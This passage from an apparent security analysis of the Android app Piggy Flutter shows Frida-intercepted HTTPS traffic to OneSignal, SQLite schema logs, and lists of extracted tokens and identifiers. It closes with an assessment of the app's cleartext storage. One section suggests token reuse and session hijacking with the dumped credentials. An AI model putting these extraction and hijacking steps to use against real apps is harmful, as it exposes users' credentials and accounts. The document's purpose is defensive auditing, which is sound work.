"OS_474ad2c8-1334-4605-9163-29a50204e2fe", "nm": "New Transaction", "dscr": "Get notification whenever a transaction is added", "grp_id": "OS_144aac2b-5267-4c67-8286-c7bc4b21dabb", "grp_nm": "Transactions" } }, { "chnl": { "id": "OS_5e194189-f80b-45dc-87ca-b8b8ad02ca6c", "nm": "Transaction Updated", "dscr": "Get notification whenever a transaction is updated", "grp_id": "OS_144aac2b-5267-4c67-8286-c7bc4b21dabb", "grp_nm": "Transactions" } } ], "outcomes": { "direct": { "enabled": false }, "indirect": { "notification_attribution": { "minutes_since_displayed": 60, "limit": 10 }, "enabled": false }, "unattributed": { "enabled": false } }, "receive_receipts_enable": false } --- response (SSL_read) len=182 <non-utf8 or error> --- response (SSL_read) len=5 0 [SQLite] rawQuery: PRAGMA busy_timeout=0; [SQLite] execSQL: CREATE TABLE events (_id INTEGER PRIMARY KEY, context_id INTEGER NOT NULL, transport_name TEXT NOT NULL, timestamp_ms INTEGER NOT NULL, uptime_ms INTEGER NOT NULL, payload BLOB NOT NULL, code INTEGER, num_attempts INTEGER NOT NULL,FOREIGN KEY (context_id) REFERENCES transport_contexts(_id) ON DELETE CASCADE) [+] New URL: https://firebaseinstallations.googleapis.com/v1/projects/onesignal-shared-public/installations [SQLite] execSQL: CREATE TABLE event_metadata (_id INTEGER PRIMARY KEY, event_id INTEGER NOT NULL, name TEXT NOT NULL, value TEXT NOT NULL,FOREIGN KEY (event_id) REFERENCES events(_id) ON DELETE CASCADE) [SQLite] execSQL: CREATE TABLE transport_contexts (_id INTEGER PRIMARY KEY, backend_name TEXT NOT NULL, priority INTEGER NOT NULL, next_request_ms INTEGER NOT NULL) [SQLite] execSQL: CREATE INDEX events_backend_id on events(context_id) [SQLite] execSQL: CREATE UNIQUE INDEX contexts_backend_priority on transport_contexts(backend_name, priority) [SQLite] execSQL: ALTER TABLE transport_contexts ADD COLUMN extras BLOB [SQLite] execSQL: CREATE UNIQUE INDEX contexts_backend_priority_extras on transport_contexts(backend_name, priority, extras) [SQLite] execSQL: DROP INDEX contexts_backend_priority [SQLite] execSQL: ALTER TABLE events ADD COLUMN payload_encoding TEXT [SQLite] execSQL: ALTER TABLE events ADD COLUMN inline BOOLEAN NOT NULL DEFAULT 1 [SQLite] execSQL: DROP TABLE IF EXISTS event_payloads [SQLite] execSQL: CREATE TABLE event_payloads (sequence_num INTEGER NOT NULL, event_id INTEGER NOT NULL, bytes BLOB NOT NULL,FOREIGN KEY (event_id) REFERENCES events(_id) ON DELETE CASCADE,PRIMARY KEY (sequence_num, event_id)) [SQLite] execSQL: PRAGMA user_version = 4 [SQLite] rawQuery: SELECT distinct t._id, t.backend_name, t.priority, t.extras FROM transport_contexts AS t, events AS e WHERE e.context_id = t._id --- request (SSL_write) len=988 <non-utf8 or error> --- response (SSL_read) len=966 <non-utf8 or error> --- response (SSL_read) len=5 0 [+] New URL: https://api.onesignal.com/players --- request (SSL_write) len=846 POST /players HTTP/1.1 SDK-Version: onesignal/android/040802 Accept: application/vnd.onesignal.v1+json Content-Type: application/json; charset=UTF-8 Content-Length: 511 User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; Pixel 7 Pro Build/BP1A.250505.005.B1) Host: api.onesignal.com Connection: Keep-Alive Accept-Encoding: gzip {"app_id":"9bf198c9-442b-4619-b5c9-759fc250f15b","device_os":"15","timezone":25200,"timezone_id":"Asia\/Ho_Chi_Minh","language":"en","sdk":"040802","sdk_type":"flutter","android_package":"in.piggyvault.piggy_flutter","device_model":"Pixel 7 Pro","game_version":55,"net_type":0,"carrier":"VinaPhone","rooted":false,"identifier":"dVGEvzAiSz6oHfnSwzd8tM:APA91bF3OeDgwuYJ6eTTWgd6CSo9qQ0VJBMbek9wWAba92rU5VkU3IYdbPmZ9HUdgemTX4W93UUuY_i0_bj8qrMWgp5q-7_nycz4Koh4pGL1cNdi1SVMzTA","device_type":1,"notification_types":0} --- response (SSL_read) len=1230 { "success": true, "id": "40f4c6eb-76b8-4770-9815-6438eebd2548" } --- response (SSL_read) len=5 0 [+] New URL: https://api.onesignal.com/players/40f4c6eb-76b8-4770-9815-6438eebd2548 --- request (SSL_write) len=452 PUT /players/40f4c6eb-76b8-4770-9815-6438eebd2548 HTTP/1.1 SDK-Version: onesignal/android/040802 Accept: application/vnd.onesignal.v1+json Content-Type: application/json; charset=UTF-8 Content-Length: 82 User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; Pixel 7 Pro Build/BP1A.250505.005.B1) Host: api.onesignal.com Connection: Keep-Alive Accept-Encoding: gzip {"tags":{"tenancyName":"default"},"app_id":"9bf198c9-442b-4619-b5c9-759fc250f15b"} --- response (SSL_read) len=848 HTTP/1.1 200 OK Date: Mon, 09 Jun 2025 08:16:22 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive access-control-allow-headers: SDK-Version,Content-Type,Origin,Authorization,OneSignal-Subscription-Id access-control-allow-origin: * traceparent: 00-4c68e9def85d4cfab89b5cc3e52f54ea-7a92b120caa04a09-00 via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Set-Cookie: __cf_bm=Zuk5RPf4cIOt2MikMcNpyCS8VnYzt83..cFxKvxpAGg-1749456982-1.0.1.1-81bz0boIkf6Cbc9o.I0lLL93Tg0M9_TbWqr1sHW.Y54ig0C5I7BaiIw6nVEm552vlY6._IM6HVlKjYFTY5kxm.X_OYlOx8ta2e._vjG635w; path=/; expires=Mon, 09-Jun-25 08:46:22 GMT; domain=.onesignal.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; includeSubDomains Server: cloudflare CF-RAY: 94cf2fb80c38b42b-HKG {"success":true} Connection terminated Thank you for using Frida! ``` #### SQL Query: - From the query, I rebuilt the database of the app: ![image](https://hackmd.io/_uploads/BJsrYpBQgx.png) #### Network traffics: ##### * Get https://api.onesignal.com/apps/9bf198c9-442b-4619-b5c9-759fc250f15b/android_params.js - Header: ``` GET /apps/9bf198c9-442b-4619-b5c9-759fc250f15b/android_params.js HTTP/1.1 SDK-Version: onesignal/android/040802 Accept: application/vnd.onesignal.v1+json User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; Pixel 7 Pro Build/BP1A.250505.005.B1) Host: api.onesignal.com Connection: Keep-Alive Accept-Encoding: gzip ``` - Response: ``` { "awl_list": {}, "android_sender_id": "572062574561", "chnl_lst": [ { "chnl": { "id": "OS_474ad2c8-1334-4605-9163-29a50204e2fe", "nm": "New Transaction", "dscr": "Get notification whenever a transaction is added", "grp_id": "OS_144aac2b-5267-4c67-8286-c7bc4b21dabb", "grp_nm": "Transactions" } }, { "chnl": { "id": "OS_5e194189-f80b-45dc-87ca-b8b8ad02ca6c", "nm": "Transaction Updated", "dscr": "Get notification whenever a transaction is updated", "grp_id": "OS_144aac2b-5267-4c67-8286-c7bc4b21dabb", "grp_nm": "Transactions" } } ], "outcomes": { "direct": { "enabled": false }, "indirect": { "notification_attribution": { "minutes_since_displayed": 60, "limit": 10 }, "enabled": false }, "unattributed": { "enabled": false } }, "receive_receipts_enable": false } ``` ##### * POST https://api.onesignal.com/players - Header: ``` POST /players HTTP/1.1 SDK-Version: onesignal/android/040802 Accept: application/vnd.onesignal.v1+json Content-Type: application/json; charset=UTF-8 Content-Length: 511 User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; Pixel 7 Pro Build/BP1A.250505.005.B1) Host: api.onesignal.com Connection: Keep-Alive Accept-Encoding: gzip {"app_id":"9bf198c9-442b-4619-b5c9-759fc250f15b","device_os":"15","timezone":25200,"timezone_id":"Asia\/Ho_Chi_Minh","language":"en","sdk":"040802","sdk_type":"flutter","android_package":"in.piggyvault.piggy_flutter","device_model":"Pixel 7 Pro","game_version":55,"net_type":0,"carrier":"VinaPhone","rooted":false,"identifier":"dVGEvzAiSz6oHfnSwzd8tM:APA91bF3OeDgwuYJ6eTTWgd6CSo9qQ0VJBMbek9wWAba92rU5VkU3IYdbPmZ9HUdgemTX4W93UUuY_i0_bj8qrMWgp5q-7_nycz4Koh4pGL1cNdi1SVMzTA","device_type":1,"notification_types":0} ``` - Response: ``` { "success": true, "id": "40f4c6eb-76b8-4770-9815-6438eebd2548" } ``` - Role: register session ##### * PUT https://api.onesignal.com/players/40f4c6eb-76b8-4770-9815-6438eebd2548 - Header: ``` PUT /players/40f4c6eb-76b8-4770-9815-6438eebd2548 HTTP/1.1 SDK-Version: onesignal/android/040802 Accept: application/vnd.onesignal.v1+json Content-Type: application/json; charset=UTF-8 Content-Length: 82 User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; Pixel 7 Pro Build/BP1A.250505.005.B1) Host: api.onesignal.com Connection: Keep-Alive Accept-Encoding: gzip {"tags":{"tenancyName":"default"},"app_id":"9bf198c9-442b-4619-b5c9-759fc250f15b"} ``` - Response: ``` HTTP/1.1 200 OK Date: Mon, 09 Jun 2025 08:16:22 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive access-control-allow-headers: SDK-Version,Content-Type,Origin,Authorization,OneSignal-Subscription-Id access-control-allow-origin: * traceparent: 00-4c68e9def85d4cfab89b5cc3e52f54ea-7a92b120caa04a09-00 via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Set-Cookie: __cf_bm=Zuk5RPf4cIOt2MikMcNpyCS8VnYzt83..cFxKvxpAGg-1749456982-1.0.1.1-81bz0boIkf6Cbc9o.I0lLL93Tg0M9_TbWqr1sHW.Y54ig0C5I7BaiIw6nVEm552vlY6._IM6HVlKjYFTY5kxm.X_OYlOx8ta2e._vjG635w; path=/; expires=Mon, 09-Jun-25 08:46:22 GMT; domain=.onesignal.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; includeSubDomains Server: cloudflare CF-RAY: 94cf2fb80c38b42b-HKG {"success":true} ``` - Role: update metadata # IV. Data Obtained ## 1. SharedPreferences - FlutterSharedPreferences.xml → flutter.authToken (JWT), flutter.tenantId… - OneSignal prefs → player IDs, HTTP cache keys, feature flags ## 2. Databases - Schema of OneSignal.db, journal files, transport event tables ## 3. Internal Files - PersistedInstallation.json (Firebase IDs, AuthToken, RefreshToken) - generatefid.lock, custom lock/status files ## 4. Memory Maps - /proc/self/maps regions, memfd segments (Frida gadget) ## 5. Network Traffic - GET android_params.js (channel list, outcomes) - POST/PUT to api.onesignal.com/players (register/update metadata) - Calls to firebaseinstallations.googleapis.com (AuthToken lifecycle) # V. Further Applications Based on Leaked Data - Token reuse & session hijacking: forge Authorization headers for API calls - Offline replay / fuzzing: feed dumped DB into local server emulator - Custom tooling: script automated extractor for any Flutter app with similar structure - Feature-flag manipulation: toggle hidden UI via intercepted prefs - Compliance testing: check whether sensitive data are encrypted at rest # IV. Conclusion ## 1. Summary of Extracted Data #### Over the course of our analysis, we were able to recover and inspect the following artifacts from Piggy Flutter: - Authentication tokens & identifiers - JWTs and Firebase AuthTokens from SharedPreferences and PersistedInstallation.json - OneSignal Player IDs, feature-flag keys, and push-notification tokens - Database contents - Full schema and record dumps of OneSignal.db (user events, subscription status, cached payloads) - Internal files & filesystem metadata - App-specific JSON files (e.g. generatefid.lock), file timestamps, lock states - Network traffic flows - Plain-text HTTP(S) requests to api.onesignal.com and firebaseinstallations.googleapis.com - Dynamic headers (Authorization, Content-Type) and payload bodies for registration/update calls - In-memory regions - /proc/self/maps insights showing loaded libraries (Flutter engine, Frida gadget) and RWX pages - Live SSL_read/SSL_write interception exposing unencrypted request/response buffers #### These combined techniques demonstrate that, with minimal instrumentation, an attacker can reconstruct both static and dynamic app state, including sensitive credentials and behavioral telemetry. ## 2. Security Posture of Piggy Flutter #### Overall, Piggy Flutter exhibits several critical weaknesses in its default configuration: - Lack of at-rest encryption - SharedPreferences and SQLite databases store tokens and user data in cleartext on disk. - Predictable file-naming & storage paths - JSON lock files and DB names follow static conventions, simplifying automated extraction. - Minimal code obfuscation - Neither Dart AOT blob nor native libraries are obfuscated, so reverse-engineers can map symbols easily. ## 3. Limitations of My Analysis - Device-specific requirements - Some methods (e.g. Burp on Android 7+) require root or system-CA installation to bypass OS restrictions. - Incomplete native coverage - I focused on high-value hooks (SSL, JNI I/O) but did not audit every C++ plugin or isolate native code paths. - Live-only insights - Frida hooks capture runtime activity, but static obfuscation or anti-tamper could still evade simple instrumentation.